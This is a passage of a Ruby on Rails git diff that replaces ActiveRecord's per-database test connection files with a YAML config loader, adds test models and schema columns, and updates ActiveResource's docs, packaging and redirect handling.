-# GRANT ALL PRIVILEGES ON activerecord_unittest2.* to 'rails'@'localhost'; - -ActiveRecord::Base.configurations = { - 'arunit' => { - :adapter => 'mysql', - :username => 'rails', - :encoding => 'utf8', - :database => 'activerecord_unittest', - }, - 'arunit2' => { - :adapter => 'mysql', - :username => 'rails', - :database => 'activerecord_unittest2' - } -} - -ActiveRecord::Base.establish_connection 'arunit' -Course.establish_connection 'arunit2' diff --git a/activerecord/test/connections/native_mysql2/connection.rb b/activerecord/test/connections/native_mysql2/connection.rb deleted file mode 100644 index c6f198b1ac..0000000000 --- a/activerecord/test/connections/native_mysql2/connection.rb +++ /dev/null @@ -1,25 +0,0 @@ -print "Using native Mysql2\n" -require_dependency 'models/course' -require 'logger' - -ActiveRecord::Base.logger = Logger.new("debug.log") - -# GRANT ALL PRIVILEGES ON activerecord_unittest.* to 'rails'@'localhost'; -# GRANT ALL PRIVILEGES ON activerecord_unittest2.* to 'rails'@'localhost'; - -ActiveRecord::Base.configurations = { - 'arunit' => { - :adapter => 'mysql2', - :username => 'rails', - :encoding => 'utf8', - :database => 'activerecord_unittest', - }, - 'arunit2' => { - :adapter => 'mysql2', - :username => 'rails', - :database => 'activerecord_unittest2' - } -} - -ActiveRecord::Base.establish_connection 'arunit' -Course.establish_connection 'arunit2' diff --git a/activerecord/test/connections/native_openbase/connection.rb b/activerecord/test/connections/native_openbase/connection.rb deleted file mode 100644 index 655cb9ca26..0000000000 --- a/activerecord/test/connections/native_openbase/connection.rb +++ /dev/null @@ -1,21 +0,0 @@ -print "Using native OpenBase\n" -require_dependency 'models/course' -require 'logger' - -ActiveRecord::Base.logger = Logger.new("debug.log") - -ActiveRecord::Base.configurations = { - 'arunit' => { - :adapter => 'openbase', - :username => 'admin', - :database => 'activerecord_unittest', - }, - 'arunit2' => { - :adapter => 'openbase', - :username => 'admin', - :database => 'activerecord_unittest2' - } -} - -ActiveRecord::Base.establish_connection 'arunit' -Course.establish_connection 'arunit2' diff --git a/activerecord/test/connections/native_oracle/connection.rb b/activerecord/test/connections/native_oracle/connection.rb deleted file mode 100644 index 99f921879c..0000000000 --- a/activerecord/test/connections/native_oracle/connection.rb +++ /dev/null @@ -1,35 +0,0 @@ -# uses oracle_enhanced adapter in ENV['ORACLE_ENHANCED_PATH'] or from github.com/rsim/oracle-enhanced.git -require 'active_record/connection_adapters/oracle_enhanced_adapter' - -# otherwise failed with silence_warnings method missing exception -require 'active_support/core_ext/kernel/reporting' - -print "Using Oracle\n" -require_dependency 'models/course' -require 'logger' - -ActiveRecord::Base.logger = Logger.new("debug.log") - -# Set these to your database connection strings -ENV['ARUNIT_DB_NAME'] ||= 'orcl' - -ActiveRecord::Base.configurations = { - 'arunit' => { - :adapter => 'oracle_enhanced', - :database => ENV['ARUNIT_DB_NAME'], - :username => 'arunit', - :password => 'arunit', - :emulate_oracle_adapter => true - }, - 'arunit2' => { - :adapter => 'oracle_enhanced', - :database => ENV['ARUNIT_DB_NAME'], - :username => 'arunit2', - :password => 'arunit2', - :emulate_oracle_adapter => true - } -} - -ActiveRecord::Base.establish_connection 'arunit' -Course.establish_connection 'arunit2' - diff --git a/activerecord/test/connections/native_postgresql/connection.rb b/activerecord/test/connections/native_postgresql/connection.rb deleted file mode 100644 index 3b5ff90003..0000000000 --- a/activerecord/test/connections/native_postgresql/connection.rb +++ /dev/null @@ -1,21 +0,0 @@ -print "Using native PostgreSQL\n" -require_dependency 'models/course' -require 'logger' - -ActiveRecord::Base.logger = Logger.new("debug.log") - -ActiveRecord::Base.configurations = { - 'arunit' => { - :adapter => 'postgresql', - :database => 'activerecord_unittest', - :min_messages => 'warning' - }, - 'arunit2' => { - :adapter => 'postgresql', - :database => 'activerecord_unittest2', - :min_messages => 'warning' - } -} - -ActiveRecord::Base.establish_connection 'arunit' -Course.establish_connection 'arunit2' diff --git a/activerecord/test/connections/native_sqlite3/connection.rb b/activerecord/test/connections/native_sqlite3/connection.rb deleted file mode 100644 index c2aff5551f..0000000000 --- a/activerecord/test/connections/native_sqlite3/connection.rb +++ /dev/null @@ -1,16 +0,0 @@ -print "Using native SQLite3\n" -require_dependency 'models/course' -require 'logger' -ActiveRecord::Base.logger = Logger.new("debug.log") - -BASE_DIR = FIXTURES_ROOT -sqlite_test_db = "#{BASE_DIR}/fixture_database.sqlite3" -sqlite_test_db2 = "#{BASE_DIR}/fixture_database_2.sqlite3" - -def make_connection(clazz, db_file) - ActiveRecord::Base.configurations = { clazz.name => { :adapter => 'sqlite3', :database => db_file, :timeout => 5000 } } - clazz.establish_connection(clazz.name) -end - -make_connection(ActiveRecord::Base, sqlite_test_db) -make_connection(Course, sqlite_test_db2) diff --git a/activerecord/test/connections/native_sqlite3_mem/connection.rb b/activerecord/test/connections/native_sqlite3_mem/connection.rb deleted file mode 100644 index 14e10900d1..0000000000 --- a/activerecord/test/connections/native_sqlite3_mem/connection.rb +++ /dev/null @@ -1,19 +0,0 @@ -# This file connects to an in-memory SQLite3 database, which is a very fast way to run the tests. -# The downside is that disconnect from the database results in the database effectively being -# wiped. For this reason, pooled_connections_test.rb is disabled when using an in-memory database. - -print "Using native SQLite3 (in memory)\n" -require_dependency 'models/course' -require 'logger' -ActiveRecord::Base.logger = Logger.new("debug.log") - -class SqliteError < StandardError -end - -def make_connection(clazz) - ActiveRecord::Base.configurations = { clazz.name => { :adapter => 'sqlite3', :database => ':memory:' } } - clazz.establish_connection(clazz.name) -end - -make_connection(ActiveRecord::Base) -make_connection(Course) diff --git a/activerecord/test/connections/native_sybase/connection.rb b/activerecord/test/connections/native_sybase/connection.rb deleted file mode 100644 index 3282d26922..0000000000 --- a/activerecord/test/connections/native_sybase/connection.rb +++ /dev/null @@ -1,23 +0,0 @@ -print "Using native Sybase Open Client\n" -require_dependency 'models/course' -require 'logger' - -ActiveRecord::Base.logger = Logger.new("debug.log") - -ActiveRecord::Base.configurations = { - 'arunit' => { - :adapter => 'sybase', - :host => 'database_ASE', - :username => 'sa', - :database => 'activerecord_unittest' - }, - 'arunit2' => { - :adapter => 'sybase', - :host => 'database_ASE', - :username => 'sa', - :database => 'activerecord_unittest2' - } -} - -ActiveRecord::Base.establish_connection 'arunit' -Course.establish_connection 'arunit2' diff --git a/activerecord/test/fixtures/categories_ordered.yml b/activerecord/test/fixtures/categories_ordered.yml index 2afc6cb5a9..294a6368d6 100644 --- a/activerecord/test/fixtures/categories_ordered.yml +++ b/activerecord/test/fixtures/categories_ordered.yml @@ -1,4 +1,4 @@ ---- !!omap +--- !omap <% 100.times do |i| %> - fixture_no_<%= i %>: id: <%= i %> diff --git a/activerecord/test/fixtures/parrots.yml b/activerecord/test/fixtures/parrots.yml index 8b73b8cdf6..8425ef98e0 100644 --- a/activerecord/test/fixtures/parrots.yml +++ b/activerecord/test/fixtures/parrots.yml @@ -24,4 +24,4 @@ DEFAULTS: &DEFAULTS parrot_sti_class: LiveParrot davey: - <<: *DEFAULTS + *DEFAULTS diff --git a/activerecord/test/fixtures/pirates.yml b/activerecord/test/fixtures/pirates.yml index abb91101da..6004f390a4 100644 --- a/activerecord/test/fixtures/pirates.yml +++ b/activerecord/test/fixtures/pirates.yml @@ -5,5 +5,5 @@ blackbeard: redbeard: catchphrase: "Avast!" parrot: louis - created_on: <%= 2.weeks.ago.to_s(:db) %> - updated_on: <%= 2.weeks.ago.to_s(:db) %> + created_on: "<%= 2.weeks.ago.to_s(:db) %>" + updated_on: "<%= 2.weeks.ago.to_s(:db) %>" diff --git a/activerecord/test/fixtures/tasks.yml b/activerecord/test/fixtures/tasks.yml index 01c95b3a4c..402ca85faf 100644 --- a/activerecord/test/fixtures/tasks.yml +++ b/activerecord/test/fixtures/tasks.yml @@ -1,4 +1,4 @@ -# Read about fixtures at http://api.rubyonrails.org/classes/Fixtures.html +# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/Fixtures.html first_task: id: 1 starting: 2005-03-30t06:30:00.00+01:00 diff --git a/activerecord/test/models/admin/user.rb b/activerecord/test/models/admin/user.rb index 74bb21551e..c12c88e195 100644 --- a/activerecord/test/models/admin/user.rb +++ b/activerecord/test/models/admin/user.rb @@ -1,3 +1,4 @@ class Admin::User < ActiveRecord::Base belongs_to :account -end
\ No newline at end of file + store :settings, :accessors => [ :color, :homepage ] +end diff --git a/activerecord/test/models/aircraft.rb b/activerecord/test/models/aircraft.rb index 0c47aab539..1f35ef45da 100644 --- a/activerecord/test/models/aircraft.rb +++ b/activerecord/test/models/aircraft.rb @@ -1,3 +1,4 @@ class Aircraft < ActiveRecord::Base + self.pluralize_table_names = false has_many :engines, :foreign_key => "car_id" end diff --git a/activerecord/test/models/author.rb b/activerecord/test/models/author.rb index e0cbc44265..23db5650d4 100644 --- a/activerecord/test/models/author.rb +++ b/activerecord/test/models/author.rb @@ -138,6 +138,9 @@ class Author < ActiveRecord::Base has_many :misc_post_first_blue_tags_2, :through => :posts, :source => :first_blue_tags_2, :conditions => { :posts => { :title => ['misc post by bob', 'misc post by mary'] } } + has_many :posts_with_default_include, :class_name => 'PostWithDefaultInclude' + has_many :comments_on_posts_with_default_include, :through => :posts_with_default_include, :source => :comments + scope :relation_include_posts, includes(:posts) scope :relation_include_tags, includes(:tags) diff --git a/activerecord/test/models/bulb.rb b/activerecord/test/models/bulb.rb index 0dcc8d5970..888afc7604 100644 --- a/activerecord/test/models/bulb.rb +++ b/activerecord/test/models/bulb.rb @@ -4,13 +4,18 @@ class Bulb < ActiveRecord::Base attr_protected :car_id, :frickinawesome - attr_reader :scope_after_initialize + attr_reader :scope_after_initialize, :attributes_after_initialize after_initialize :record_scope_after_initialize def record_scope_after_initialize @scope_after_initialize = self.class.scoped end + after_initialize :record_attributes_after_initialize + def record_attributes_after_initialize + @attributes_after_initialize = attributes.dup + end + def color=(color) self[:color] = color.upcase + "!" end @@ -28,4 +33,9 @@ class Bulb < ActiveRecord::Base end class CustomBulb < Bulb -end
\ No newline at end of file + after_initialize :set_awesomeness + + def set_awesomeness + self.frickinawesome = true if name == 'Dude' + end +end diff --git a/activerecord/test/models/car.rb b/activerecord/test/models/car.rb index 76f20b1061..b9c2e8ec9a 100644 --- a/activerecord/test/models/car.rb +++ b/activerecord/test/models/car.rb @@ -8,7 +8,7 @@ class Car < ActiveRecord::Base has_one :frickinawesome_bulb, :class_name => "Bulb", :conditions => { :frickinawesome => true } has_many :tyres - has_many :engines + has_many :engines, :dependent => :destroy has_many :wheels, :as => :wheelable scope :incl_tyres, includes(:tyres) diff --git a/activerecord/test/models/comment.rb b/activerecord/test/models/comment.rb index 2a4c37089a..88b139d931 100644 --- a/activerecord/test/models/comment.rb +++ b/activerecord/test/models/comment.rb @@ -6,10 +6,14 @@ class Comment < ActiveRecord::Base scope :for_first_author, :joins => :post, :conditions => { "posts.author_id" => 1 } + scope :created belongs_to :post, :counter_cache => true has_many :ratings + has_many :children, :class_name => 'Comment', :foreign_key => :parent_id + belongs_to :parent, :class_name => 'Comment', :counter_cache => :children_count + def self.what_are_you 'a comment...' end diff --git a/activerecord/test/models/company.rb b/activerecord/test/models/company.rb index e0b30efd51..c1f7a4171a 100644 --- a/activerecord/test/models/company.rb +++ b/activerecord/test/models/company.rb @@ -124,6 +124,18 @@ class Client < Company has_many :accounts, :through => :firm belongs_to :account + class RaisedOnSave < RuntimeError; end + attr_accessor :raise_on_save + before_save do + raise RaisedOnSave if raise_on_save + end + + class RaisedOnDestroy < RuntimeError; end + attr_accessor :raise_on_destroy + before_destroy do + raise RaisedOnDestroy if raise_on_destroy + end + # Record destruction so we can test whether firm.clients.clear has # is calling client.destroy, deleting from the database, or setting # foreign keys to NULL. diff --git a/activerecord/test/models/contact.rb b/activerecord/test/models/contact.rb index e081eee661..3d15c7fbed 100644 --- a/activerecord/test/models/contact.rb +++ b/activerecord/test/models/contact.rb @@ -11,12 +11,13 @@ class Contact < ActiveRecord::Base connection.merge_column('contacts', name, sql_type, options) end - column :name, :string - column :age, :integer - column :avatar, :binary - column :created_at, :datetime - column :awesome, :boolean - column :preferences, :string + column :name, :string + column :age, :integer + column :avatar, :binary + column :created_at, :datetime + column :awesome, :boolean + column :preferences, :string + column :alternative_id, :integer serialize :preferences diff --git a/activerecord/test/models/contract.rb b/activerecord/test/models/contract.rb index 94fd48e12a..2cf5aa7a85 100644 --- a/activerecord/test/models/contract.rb +++ b/activerecord/test/models/contract.rb @@ -1,4 +1,19 @@ class Contract < ActiveRecord::Base belongs_to :company belongs_to :developer + + before_save :hi + after_save :bye + + attr_accessor :hi_count, :bye_count + + def hi + @hi_count ||= 0 + @hi_count += 1 + end + + def bye + @bye_count ||= 0 + @bye_count += 1 + end end diff --git a/activerecord/test/models/developer.rb b/activerecord/test/models/developer.rb index 152f804e16..4dc9fff9fd 100644 --- a/activerecord/test/models/developer.rb +++ b/activerecord/test/models/developer.rb @@ -86,6 +86,17 @@ class DeveloperWithBeforeDestroyRaise < ActiveRecord::Base end end +class DeveloperWithSelect < ActiveRecord::Base + self.table_name = 'developers' + default_scope select('name') +end + +class DeveloperWithIncludes < ActiveRecord::Base + self.table_name = 'developers' + has_many :audit_logs, :foreign_key => :developer_id + default_scope includes(:audit_logs) +end + class DeveloperOrderedBySalary < ActiveRecord::Base self.table_name = 'developers' default_scope :order => 'salary DESC' @@ -127,6 +138,21 @@ class ClassMethodDeveloperCalledDavid < ActiveRecord::Base end end +class ClassMethodReferencingScopeDeveloperCalledDavid < ActiveRecord::Base + self.table_name = 'developers' + scope :david, where(:name => 'David') + + def self.default_scope + david + end +end + +class LazyBlockReferencingScopeDeveloperCalledDavid < ActiveRecord::Base + self.table_name = 'developers' + scope :david, where(:name => 'David') + default_scope { david } +end + class DeveloperCalledJamis < ActiveRecord::Base self.table_name = 'developers' @@ -165,4 +191,48 @@ class ModuleIncludedPoorDeveloperCalledJamis < DeveloperCalledJamis include SalaryDefaultScope end +class EagerDeveloperWithDefaultScope < ActiveRecord::Base + self.table_name = 'developers' + has_and_belongs_to_many :projects, :foreign_key => 'developer_id', :join_table => 'developers_projects', :order => 'projects.id' + + default_scope includes(:projects) +end + +class EagerDeveloperWithClassMethodDefaultScope < ActiveRecord::Base + self.table_name = 'developers' + has_and_belongs_to_many :projects, :foreign_key => 'developer_id', :join_table => 'developers_projects', :order => 'projects.id' + def self.default_scope + includes(:projects) + end +end + +class EagerDeveloperWithLambdaDefaultScope < ActiveRecord::Base + self.table_name = 'developers' + has_and_belongs_to_many :projects, :foreign_key => 'developer_id', :join_table => 'developers_projects', :order => 'projects.id' + + default_scope lambda { includes(:projects) } +end + +class EagerDeveloperWithBlockDefaultScope < ActiveRecord::Base + self.table_name = 'developers' + has_and_belongs_to_many :projects, :foreign_key => 'developer_id', :join_table => 'developers_projects', :order => 'projects.id' + + default_scope { includes(:projects) } +end + +class EagerDeveloperWithCallableDefaultScope < ActiveRecord::Base + self.table_name = 'developers' + has_and_belongs_to_many :projects, :foreign_key => 'developer_id', :join_table => 'developers_projects', :order => 'projects.id' + + default_scope OpenStruct.new(:call => includes(:projects)) +end + +class ThreadsafeDeveloper < ActiveRecord::Base + self.table_name = 'developers' + + def self.default_scope + sleep 0.05 if Thread.current[:long_default_scope] + limit(1) + end +end diff --git a/activerecord/test/models/person.rb b/activerecord/test/models/person.rb index a58c9bf572..967a3625aa 100644 --- a/activerecord/test/models/person.rb +++ b/activerecord/test/models/person.rb @@ -59,8 +59,9 @@ class LoosePerson < ActiveRecord::Base has_one :best_friend, :class_name => 'LoosePerson', :foreign_key => :best_friend_id belongs_to :best_friend_of, :class_name => 'LoosePerson', :foreign_key => :best_friend_of_id - has_many :best_friends, :class_name => 'LoosePerson', :foreign_key => :best_friend_id + + accepts_nested_attributes_for :best_friend, :best_friend_of, :best_friends end class LooseDescendant < LoosePerson; end @@ -70,11 +71,14 @@ class TightPerson < ActiveRecord::Base attr_accessible :first_name, :gender attr_accessible :first_name, :gender, :comments, :as => :admin + attr_accessible :best_friend_attributes, :best_friend_of_attributes, :best_friends_attributes + attr_accessible :best_friend_attributes, :best_friend_of_attributes, :best_friends_attributes, :as => :admin has_one :best_friend, :class_name => 'TightPerson', :foreign_key => :best_friend_id belongs_to :best_friend_of, :class_name => 'TightPerson', :foreign_key => :best_friend_of_id - has_many :best_friends, :class_name => 'TightPerson', :foreign_key => :best_friend_id + + accepts_nested_attributes_for :best_friend, :best_friend_of, :best_friends end class TightDescendant < TightPerson; end
\ No newline at end of file diff --git a/activerecord/test/models/post.rb b/activerecord/test/models/post.rb index 80296032bb..198a963cbc 100644 --- a/activerecord/test/models/post.rb +++ b/activerecord/test/models/post.rb @@ -36,6 +36,10 @@ class Post < ActiveRecord::Base def find_most_recent find(:first, :order => "id DESC") end + + def newest + created.last + end end has_many :author_favorites, :through => :author @@ -162,3 +166,19 @@ class FirstPost < ActiveRecord::Base has_many :comments, :foreign_key => :post_id has_one :comment, :foreign_key => :post_id end + +class PostWithDefaultInclude < ActiveRecord::Base + self.table_name = 'posts' + default_scope includes(:comments) + has_many :comments, :foreign_key => :post_id +end + +class PostWithDefaultScope < ActiveRecord::Base + self.table_name = 'posts' + default_scope :order => :title +end + +class SpecialPostWithDefaultScope < ActiveRecord::Base + self.table_name = 'posts' + default_scope where(:id => [1, 5,6]) +end
\ No newline at end of file diff --git a/activerecord/test/models/topic.rb b/activerecord/test/models/topic.rb index 6440dbe8ab..fe424e61b2 100644 --- a/activerecord/test/models/topic.rb +++ b/activerecord/test/models/topic.rb @@ -78,11 +78,12 @@ class Topic < ActiveRecord::Base after_initialize :set_email_address + def approved=(val) + @custom_approved = val + write_attribute(:approved, val) + end + protected - def approved=(val) - @custom_approved = val - write_attribute(:approved, val) - end def default_written_on self.written_on = Time.now unless attribute_present?("written_on") diff --git a/activerecord/test/models/toy.rb b/activerecord/test/models/toy.rb index 79a88db0da..6c45e99671 100644 --- a/activerecord/test/models/toy.rb +++ b/activerecord/test/models/toy.rb @@ -1,4 +1,6 @@ class Toy < ActiveRecord::Base set_primary_key :toy_id belongs_to :pet + + scope :with_pet, joins(:pet) end diff --git a/activerecord/test/schema/mysql2_specific_schema.rb b/activerecord/test/schema/mysql2_specific_schema.rb index c78d99f4af..ab2c7ccc10 100644 --- a/activerecord/test/schema/mysql2_specific_schema.rb +++ b/activerecord/test/schema/mysql2_specific_schema.rb @@ -21,4 +21,15 @@ BEGIN END SQL -end + ActiveRecord::Base.connection.execute <<-SQL +DROP TABLE IF EXISTS collation_tests; +SQL + + ActiveRecord::Base.connection.execute <<-SQL +CREATE TABLE collation_tests ( + string_cs_column VARCHAR(1) COLLATE utf8_bin, + string_ci_column VARCHAR(1) COLLATE utf8_general_ci +) CHARACTER SET utf8 COLLATE utf8_general_ci +SQL + +end
\ No newline at end of file diff --git a/activerecord/test/schema/mysql_specific_schema.rb b/activerecord/test/schema/mysql_specific_schema.rb index 30e1c5a167..a0adfe3752 100644 --- a/activerecord/test/schema/mysql_specific_schema.rb +++ b/activerecord/test/schema/mysql_specific_schema.rb @@ -32,4 +32,15 @@ BEGIN END SQL + ActiveRecord::Base.connection.execute <<-SQL +DROP TABLE IF EXISTS collation_tests; +SQL + + ActiveRecord::Base.connection.execute <<-SQL +CREATE TABLE collation_tests ( + string_cs_column VARCHAR(1) COLLATE utf8_bin, + string_ci_column VARCHAR(1) COLLATE utf8_general_ci +) CHARACTER SET utf8 COLLATE utf8_general_ci +SQL + end diff --git a/activerecord/test/schema/schema.rb b/activerecord/test/schema/schema.rb index 4fe311b441..bb08f5c181 100644 --- a/activerecord/test/schema/schema.rb +++ b/activerecord/test/schema/schema.rb @@ -37,6 +37,7 @@ ActiveRecord::Schema.define do create_table :admin_users, :force => true do |t| t.string :name + t.text :settings t.references :account end @@ -47,6 +48,7 @@ ActiveRecord::Schema.define do create_table :audit_logs, :force => true do |t| t.column :message, :string, :null=>false t.column :developer_id, :integer, :null=>false + t.integer :unvalidated_developer_id end create_table :authors, :force => true do |t| @@ -155,6 +157,8 @@ ActiveRecord::Schema.define do end t.string :type t.integer :taggings_count, :default => 0 + t.integer :children_count, :default => 0 + t.integer :parent_id end create_table :companies, :force => true do |t| @@ -305,6 +309,8 @@ ActiveRecord::Schema.define do t.references :student end + create_table :lint_models, :force => true + create_table :line_items, :force => true do |t| t.integer :invoice_id t.integer :amount @@ -458,6 +464,7 @@ ActiveRecord::Schema.define do create_table :pirates, :force => true do |t| t.column :catchphrase, :string t.column :parrot_id, :integer + t.integer :non_validated_parrot_id t.column :created_on, :datetime t.column :updated_on, :datetime end @@ -526,6 +533,7 @@ ActiveRecord::Schema.define do create_table :ships, :force => true do |t| t.string :name t.integer :pirate_id + t.integer :update_only_pirate_id t.datetime :created_at t.datetime :created_on t.datetime :updated_at @@ -660,7 +668,9 @@ ActiveRecord::Schema.define do t.string :description t.integer :man_id t.integer :polymorphic_man_id - t.string :polymorphic_man_type + t.string :polymorphic_man_type + t.integer :horrible_polymorphic_man_id + t.string :horrible_polymorphic_man_type end create_table :interests, :force => true do |t| @@ -719,6 +729,8 @@ ActiveRecord::Schema.define do end execute "ALTER TABLE fk_test_has_fk ADD CONSTRAINT fk_name FOREIGN KEY (#{quote_column_name 'fk_id'}) REFERENCES #{quote_table_name 'fk_test_has_pk'} (#{quote_column_name 'id'})" + + execute "ALTER TABLE lessons_students ADD CONSTRAINT student_id_fk FOREIGN KEY (#{quote_column_name 'student_id'}) REFERENCES #{quote_table_name 'students'} (#{quote_column_name 'id'})" end end diff --git a/activerecord/test/support/config.rb b/activerecord/test/support/config.rb new file mode 100644 index 0000000000..6d123688a3 --- /dev/null +++ b/activerecord/test/support/config.rb @@ -0,0 +1,43 @@ +require 'yaml' +require 'erubis' +require 'fileutils' +require 'pathname' + +module ARTest + class << self + def config + @config ||= read_config + end + + private + + def config_file + Pathname.new(ENV['ARCONFIG'] || TEST_ROOT + '/config.yml') + end + + def read_config + unless config_file.exist? + FileUtils.cp TEST_ROOT + '/config.example.yml', config_file + end + + erb = Erubis::Eruby.new(config_file.read) + expand_config(YAML.parse(erb.result(binding)).transform) + end + + def expand_config(config) + config['connections'].each do |adapter, connection| + dbs = [['arunit', 'activerecord_unittest'], ['arunit2', 'activerecord_unittest2']] + dbs.each do |name, dbname| + unless connection[name].is_a?(Hash) + connection[name] = { 'database' => connection[name] } + end + + connection[name]['database'] ||= dbname + connection[name]['adapter'] ||= adapter + end + end + + config + end + end +end diff --git a/activerecord/test/support/connection.rb b/activerecord/test/support/connection.rb new file mode 100644 index 0000000000..a39794fa39 --- /dev/null +++ b/activerecord/test/support/connection.rb @@ -0,0 +1,20 @@ +require 'logger' +require_dependency 'models/course' + +module ARTest + def self.connection_name + ENV['ARCONN'] || config['default_connection'] + end + + def self.connection_config + config['connections'][connection_name] + end + + def self.connect + puts "Using #{connection_name} with Identity Map #{ActiveRecord::IdentityMap.enabled? ? 'on' : 'off'}" + ActiveRecord::Base.logger = Logger.new("debug.log") + ActiveRecord::Base.configurations = connection_config + ActiveRecord::Base.establish_connection 'arunit' + Course.establish_connection 'arunit2' + end +end diff --git a/activeresource/CHANGELOG b/activeresource/CHANGELOG index 25f9242b98..bd496a1263 100644 --- a/activeresource/CHANGELOG +++ b/activeresource/CHANGELOG @@ -1,4 +1,17 @@ -*Rails 3.1.0 (unreleased)* +*Rails 3.2.0 (unreleased)* + +* Redirect responses: 303 See Other and 307 Temporary Redirect now behave like + 301 Moved Permanently and 302 Found. GH #3302. + + [Jim Herz] + + +*Rails 3.1.1 (October 7, 2011)* + +* No changes. + + +*Rails 3.1.0 (August 30, 2011)* * The default format has been changed to JSON for all requests. If you want to continue to use XML you will need to set `self.format = :xml` in the class. eg. diff --git a/activeresource/README.rdoc b/activeresource/README.rdoc index afa25e1676..c86289c5fe 100644 --- a/activeresource/README.rdoc +++ b/activeresource/README.rdoc @@ -20,13 +20,23 @@ Model classes are mapped to remote REST resources by Active Resource much the sa tables. When a request is made to a remote resource, a REST XML request is generated, transmitted, and the result received and serialized into a usable Ruby object. +== Download and installation + +The latest version of Active Support can be installed with RubyGems: + + % [sudo] gem install activeresource + +Source code can be downloaded as part of the Rails project on GitHub + +* https://github.com/rails/rails/tree/master/activeresource + === Configuration and Usage Putting Active Resource to use is very similar to Active Record. It's as simple as creating a model class that inherits from ActiveResource::Base and providing a <tt>site</tt> class variable to it: class Person < ActiveResource::Base - self.site = "http://api.people.com:3000/" + self.site = "http://api.people.com:3000" end Now the Person class is REST enabled and can invoke REST services very similarly to how Active Record invokes @@ -125,8 +135,8 @@ as the id of the ARes object. ==== Update -'save' is also used to update an existing resource - and follows the same protocol as creating a resource -with the exception that no response headers are needed - just an empty response when the update on the +'save' is also used to update an existing resource and follows the same protocol as creating a resource +with the exception that no response headers are needed -- just an empty response when the update on the server side was successful. # <person><first>Ryan</first></person> @@ -160,6 +170,18 @@ Destruction of a resource can be invoked as a class and instance method of the r Person.delete(2) # => true Person.exists?(2) # => false +== License -You can find more usage information in the ActiveResource::Base documentation. +Active Support is released under the MIT license. +== Support + +API documentation is at + +* http://api.rubyonrails.org + +Bug reports and feature requests can be filed with the rest for the Ruby on Rails project here: + +* https://github.com/rails/rails/issues + +You can find more usage information in the ActiveResource::Base documentation. diff --git a/activeresource/Rakefile b/activeresource/Rakefile index 42e450da66..b1c18ff189 100755 --- a/activeresource/Rakefile +++ b/activeresource/Rakefile @@ -1,7 +1,7 @@ #!/usr/bin/env rake require 'rake/testtask' require 'rake/packagetask' -require 'rake/gempackagetask' +require 'rubygems/package_task' desc "Default Task" task :default => [ :test ] @@ -26,7 +26,7 @@ end spec = eval(File.read('activeresource.gemspec')) -Rake::GemPackageTask.new(spec) do |p| +Gem::PackageTask.new(spec) do |p| p.gem_spec = spec end diff --git a/activeresource/activeresource.gemspec b/activeresource/activeresource.gemspec index c2fd707e9b..a8772ecf8c 100644 --- a/activeresource/activeresource.gemspec +++ b/activeresource/activeresource.gemspec @@ -12,9 +12,8 @@ Gem::Specification.new do |s| s.author = 'David Heinemeier Hansson' s.email = 'david@loudthinking.com' s.homepage = 'http://www.rubyonrails.org' - s.rubyforge_project = 'activeresource' - s.files = Dir['CHANGELOG', 'README.rdoc', 'examples/**/*', 'lib/**/*'] + s.files = Dir['CHANGELOG', 'MIT-LICENSE', 'README.rdoc', 'examples/**/*', 'lib/**/*'] s.require_path = 'lib' s.extra_rdoc_files = %w( README.rdoc ) diff --git a/activeresource/lib/active_resource/base.rb b/activeresource/lib/active_resource/base.rb index 65d285249b..10cc727bd9 100644 --- a/activeresource/lib/active_resource/base.rb +++ b/activeresource/lib/active_resource/base.rb @@ -3,7 +3,6 @@ require 'active_support/core_ext/class/attribute_accessors' require 'active_support/core_ext/class/attribute' require 'active_support/core_ext/hash/indifferent_access' require 'active_support/core_ext/kernel/reporting' -require 'active_support/core_ext/module/attr_accessor_with_default' require 'active_support/core_ext/module/delegation' require 'active_support/core_ext/module/aliasing' require 'active_support/core_ext/object/blank' @@ -171,8 +170,8 @@ module ActiveResource # <tt>404</tt> is just one of the HTTP error response codes that Active Resource will handle with its own exception. The # following HTTP response codes will also result in these exceptions: # - # * 200..399 - Valid response, no exception (other than 301, 302) - # * 301, 302 - ActiveResource::Redirection + # * 200..399 - Valid response. No exceptions, other than these redirects: + # * 301, 302, 303, 307 - ActiveResource::Redirection # * 400 - ActiveResource::BadRequest # * 401 - ActiveResource::UnauthorizedAccess # * 403 - ActiveResource::ForbiddenAccess @@ -284,7 +283,7 @@ module ActiveResource # attribute 'name', :string # # # or use the convenience methods and pass >=1 attribute names - # string 'eye_colour', 'hair_colour' + # string 'eye_color', 'hair_color' # integer 'age' # float 'height', 'weight' # @@ -396,7 +395,7 @@ module ActiveResource # Subclass.site.user = 'david' # Parent.site # => 'http://david@test.com' # - # Without superclass_delegating_reader (expected behaviour) + # Without superclass_delegating_reader (expected behavior) # # Parent.site = 'http://anonymous@test.com' # Subclass.site # => 'http://anonymous@test.com' @@ -565,10 +564,23 @@ module ActiveResource @headers ||= {} end - attr_accessor_with_default(:element_name) { model_name.element } #:nodoc: - attr_accessor_with_default(:collection_name) { ActiveSupport::Inflector.pluralize(element_name) } #:nodoc: + attr_writer :element_name - attr_accessor_with_default(:primary_key, 'id') #:nodoc: + def element_name + @element_name ||= model_name.element + end + + attr_writer :collection_name + + def collection_name + @collection_name ||= ActiveSupport::Inflector.pluralize(element_name) + end + + attr_writer :primary_key + + def primary_key + @primary_key ||= 'id' + end # Gets the \prefix for a resource's nested URL (e.g., <tt>prefix/collectionname/1.json</tt>) # This method is regenerated at runtime based on what the \prefix is set to. @@ -625,6 +637,10 @@ module ActiveResource # Post.element_path(1) # # => /posts/1.json # + # class Comment < ActiveResource::Base + # self.site = "http://37s.sunrise.i/posts/:post_id/" + # end + # # Comment.element_path(1, :post_id => 5) # # => /posts/5/comments/1.json # @@ -651,6 +667,10 @@ module ActiveResource # Post.new_element_path # # => /posts/new.json # + # class Comment < ActiveResource::Base + # self.site = "http://37s.sunrise.i/posts/:post_id/" + # end + # # Comment.collection_path(:post_id => 5) # # => /posts/5/comments/new.json def new_element_path(prefix_options = {}) @@ -943,7 +963,7 @@ module ActiveResource prefix_options, query_options = {}, {} (options || {}).each do |key, value| - next if key.blank? + next if key.blank? || !key.respond_to?(:to_sym) (prefix_parameters.include?(key.to_sym) ? prefix_options : query_options)[key.to_sym] = value end @@ -1345,7 +1365,9 @@ module ActiveResource end def load_attributes_from_response(response) - if !response['Content-Length'].blank? && response['Content-Length'] != "0" && !response.body.nil? && response.body.strip.size > 0 + if (response_code_allows_body?(response.code) && + (response['Content-Length'].nil? || response['Content-Length'] != "0") && + !response.body.nil? && response.body.strip.size > 0) load(self.class.format.decode(response.body), true) @persisted = true end @@ -1369,6 +1391,16 @@ module 